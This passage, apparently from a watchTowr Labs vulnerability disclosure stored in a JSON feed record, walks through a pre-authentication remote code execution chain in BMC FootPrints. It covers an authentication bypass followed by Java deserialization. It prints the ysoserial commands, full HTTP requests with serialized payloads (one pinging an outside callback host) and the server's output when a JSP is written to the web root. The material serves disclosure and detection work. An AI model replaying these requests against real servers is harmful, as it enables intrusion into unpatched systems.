name=\"__VIEWSTATE\"\n\nrO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALHk2NTNlYzJscjB3ZjBveXF1OXpoYmhlM3p1NXB0Zmg0Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly95NjUzZWMybHIwd2Ywb3lxdTl6aGJoZTN6dTVwdGZoNC5vYXN0aWZ5LmNvbXg=\n------WebKitFormBoundarywwyEWsOTbKQLLJ1P--\n\n\n```\n\n\nOur initial discovery - albeit through a bit of button-bashing - showed that it was possible to deliver the value by:\n\n1.  Sending a `GET` request\n2.  Including a dummy `__VIEWSTATE` parameter in the query string\n3.  Supplying the real `__VIEWSTATE` value in the request body\n4.  Using a `Content-Type` of `application/x-www-form-urlencoded`\n\n```\nGET /footprints/servicedesk/aspnetconfig/?__VIEWSTATE=watchTowr HTTP/1.1\nHost: {{Hostname}}\nCookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; \nContent-Type: application/x-www-form-urlencoded\nContent-Length: 1380\n\n__VIEWSTATE=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%48%6b%32%4e%54%4e%6c%59%7a%4a%73%63%6a%42%33%5a%6a%42%76%65%58%46%31%4f%58%70%6f%59%6d%68%6c%4d%33%70%31%4e%58%42%30%5a%6d%67%30%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%56%6f%64%48%52%77%63%33%42%34%64%41%41%30%61%48%52%30%63%48%4d%36%4c%79%39%35%4e%6a%55%7a%5a%57%4d%79%62%48%49%77%64%32%59%77%62%33%6c%78%64%54%6c%36%61%47%4a%6f%5a%54%4e%36%64%54%56%77%64%47%5a%6f%4e%43%35%76%59%58%4e%30%61%57%5a%35%4c%6d%4e%76%62%58%67%3d\n\n```\n\n\nAs shown below, our injected `__VIEWSTATE` value is successfully assigned to `s1` - which is then ultimately passed into the deserialization flow:\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-13.png)\n\nThe `URLDNS` gadget chain fired successfully, sending a DNS lookup to our listening infrastructure - now, time for a gadget chain to achieve RCE (and get dinner?).\n\nBefore diving into custom gadget development and disappearing into the class-tracing trenches, it\u2019s always worth checking what the community has already done for you. [ysoserial](https://github.com/frohoff/ysoserial?ref=labs.watchtowr.com) maintains a curated set of known gadget chains, and it\u2019s the natural first stop.\n\nUnfortunately, the usual suspects - such as the Apache Commons-based chains - weren\u2019t viable here, as the target codebase doesn\u2019t rely on the expected libraries in the right way.\n\nThat said, we got lucky.\n\nThe application includes `aspectjweaver-1.9.2` and `commons-collections:3.2.2`, which line up perfectly for the well-known arbitrary file write gadget chain `AspectJWeaver`, originally authored by the legendary [Jang](https://x.com/testanull?ref=labs.watchtowr.com).\n\nTo generate a working payload, the following `ysoserial` command can be used:\n\n```\njava -jar ysoserial.jar AspectJWeaver \"filename.jsp;BASE64TEXT\" | base64\n\n```\n\n\nIt\u2019s important to note that the filename can contain path traversal sequences and arbitrary directory separators.\n\nWith that in mind, we craft a harmless payload that writes a `.jsp` script into the FootPrints web root which, when executed, enumerates the system\u2019s current user and working directory:\n\n```\njava -jar ysoserial.jar AspectJWeaver \"webapps/ROOT/watchTowr.jsp;PCVAIHBhZ2UgbGFuZ3VhZ2U9ImphdmEiIGNvbnRlbnRUeXBlPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT4KPCUKICAgIFN0cmluZyBvc1VzZXIgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIubmFtZSIpOwogICAgU3RyaW5nIGN3ZCA9IFN5c3RlbS5nZXRQcm9wZXJ0eSgidXNlci5kaXIiKTsKJT4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT53YXRjaFRvd3IgU3lzdGVtIEluZm88L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPlN5c3RlbSBJbmZvcm1hdGlvbjwvaDE+CiAgICA8cD48c3Ryb25nPk9TIFVzZXI6PC9zdHJvbmc+IDwlPSBvc1VzZXIgJT48L3A+CiAgICA8cD48c3Ryb25nPkN1cnJlbnQgV29ya2luZyBEaXJlY3Rvcnk6PC9zdHJvbmc+IDwlPSBjd2QgJT48L3A+CjwvYm9keT4KPC9odG1sPgo=\" | base64\n\n```\n\n\n### Your Favorite Band Is Back Together\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-14.png)\n\nFor those following along at home, the grand finale is now hopefully obvious.\n\nBy chaining the Authentication Bypass (CVE-2025-71257) and this Deserialization of Untrusted Data (CVE-2025-71260), we can achieve Arbitrary File Write - and, ultimately, Pre-Authenticated Remote Code Execution.\n\nLet\u2019s play it out..\n\n**CVE-2025-71257 - Authentication Bypass (Extract the \u201cSEC\\_TOKEN\u201d cookie)**\n\n```\nGET /footprints/servicedesk/passwordreset/request/ HTTP/1.1\nHost: {{Hostname}}\n\n```\n\n\n**CVE-2025-71260 - Deserialize to Arbitrary File Write (Using the \u201cSEC\\_TOKEN\u201d cookie from the first request)**\n\n```\nPOST /footprints/servicedesk/aspnetconfig/ HTTP/1.1\nHost: {{Hostname}}\nCookie: SEC_TOKEN=TF06JG8cShIK0q3yJe+o_KDf2fDpnt2JU6c7Tfhr&amp;zWoA1itiu; \nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwyEWsOTbKQLLJ1P\nContent-Length: 1624\n\n------WebKitFormBoundarywwyEWsOTbKQLLJ1P\nContent-Disposition: form-data; name=\"__VIEWSTATE\"\n\nrO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4\n------WebKitFormBoundarywwyEWsOTbKQLLJ1P--\n\n\n```\n\n\nAnd voila - our friendly `watchTowr.jsp` is written to the file system:\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-17.png)\n\n```\nGET /watchTowr.jsp HTTP/1.1\nHost: {{Hostname}}\n\n```\n\n\n```\nHTTP/1.1 200 \nSet-Cookie: JSESSIONID=F3BCBF9067A19B61E3AFD0B1ADA18D1D; Path=/; HttpOnly\nContent-Type: text/html;charset=UTF-8\nContent-Length: 300\nDate: Wed, 03 Sep 2025 03:45:58 GMT\n\n\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;watchTowr System Info&lt;/title&gt;\n&lt;/head&gt;\n&lt;body&gt;\n    <h1>System Information</h1>\n    <p><strong>OS User:</strong> LOCAL SERVICE$</p>\n    <p><strong>Current Working Directory:</strong> C:\\\\Program Files\\\\Apache Software Foundation\\\\Tomcat 9.0</p>\n&lt;/body&gt;\n&lt;/html&gt;\n\n\n```\n\n\n### Detection Artifact Generator\n\nThat\u2019s right. It\u2019s time for yet another watchTowr [Detection Artifact Generator](https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260?ref=labs.watchtowr.com) tool!\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-16.png)\n\nThe research published by [watchTowr Labs](https://www.watchtowr.com/?ref=labs.watchtowr.com) is just a glimpse into what powers the [watchTowr Platform](https://www.watchtowr.com/?ref=labs.watchtowr.com) \u2013 delivering automated, continuous testing against real attacker behaviour.\n\nBy combining Proactive Threat Intelligence and External Attack Surface Management into a single **Preemptive Exposure Management** capability, the [watchTowr Platform](https://www.watchtowr.com/?ref=labs.watchtowr.com) helps organisations rapidly react to emerging threats \u2013 and gives them what matters most: **time to respond.**\n\n### Gain early access to our research, and understand your exposure, with the watchTowr Platform\n\n[REQUEST A DEMO](https://watchtowr.com/demo/)", "creation_timestamp": "2026-03-19T14:30:50.500201+00:00", "timestamp": "2026-03-19T20:03:35.755121+00:00", "related_vulnerabilities": ["CVE-2025-71259", "CVE-2025-71260", "CVE-2025-71258", "CVE-2025-24813", "CVE-2025-71257"], "meta": [{"ref": ["https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/"]}], "author": {"login": "adulau", "name": "Alexandre Dulaunoy", "uuid": "c933734a-9be8-4142-889e-26e95c752803"}}
